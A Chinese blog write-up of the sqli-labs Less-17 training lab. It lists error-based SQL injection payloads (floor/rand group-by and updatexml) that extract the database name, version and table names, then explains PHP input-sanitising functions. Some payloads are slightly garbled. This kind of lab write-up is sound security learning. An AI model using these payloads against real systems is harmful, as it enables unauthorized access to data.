sqli-labs-less17

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/qq_45106794/article/details/102711681

#sqli-labs-less17

在对uname这一项进行注入,发现不管是’ " ’ ) " )等,都显示一样,说明无法进行注入,也说明源代码可能有对uname进行检查,再试试passwd这一项

成功报错,说明passwd这一项可以进行注入

'or (select 1 from (select count(),concat(floor(rand(0)2),database())as x from information_schema.tables group by x)as a)#

’ or (select 1 from (select count(),concat((select concat(table_name)from information_schema.tables where table_schema=‘security’ limit 0,1),floor(rand(0)2))as x from information_schema.tables group by x) as b) --+

’ or (select 1 from (select count(),concat((select concat(table_name)from information_schema.tables where table_schema=‘security’ limit 1,1),floor(rand(0)2))as x from information_schema.tables group by x) as b) where username=‘admin’ --+

在这里插入图片描述

'or updatexml(1,concat(0x7e,version(),0x7e),1)#

'or updatexml(1,concat(0x7e,(select concat(table_name)from information_schema.tables where table_schema='security’limit 0,1),0x7e),1)#

之所以username无法进行注入,应该是进行过滤。

查看php代码,发现有check_input()函数
对PHP函数的学习
摘自https://www.jianshu.com/p/62d394c38230

扫描二维码关注公众号,回复: 7614292 查看本文章

substr()函数
substr(string,start[,length])

参数 描述
string 必需,规定要返回其中一部分的字符串
start 必需,规定在字符串的何处开始
正数:在字符串的指定位置开始
负数:在从字符串结尾开始的指定位置开始
0:在字符串中的第一个字符处开始
length 可选,要返回的字符数。如果省略,则返回剩余文本
正数:从start参数所在的位置返回的长度
负数:从字符串末端返回的长度

get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。

当magic_quotes_gpc打开时,所有的’(单引号)、"(双引号)、(反斜杠)和NULL(空字符)会自动转为含有反斜杠的溢出字符。

addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 ’
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE。

mysql_real_escape_string()函数

mysql_real_escape_string(string,connection)

参数 描述
string 必需,规定要转义的字符串
connection 可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

  • \x00
  • \n
  • \r
  • \
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE。

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

intval()函数

intval(var[,base])

参数 描述
var 要转换成integer的数量值
base 转化所使用的进制

intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量var的integer数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1。

成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

如果base是0,通过检测var的格式来决定使用的进制:

  • 如果字符串包括了0x或0X的前缀,使用16进制hex;否则,
  • 如果字符串以0开始,使用8进制octal;否则,
  • 使用10进制decimal。

猜你喜欢

转载自blog.csdn.net/qq_45106794/article/details/102711681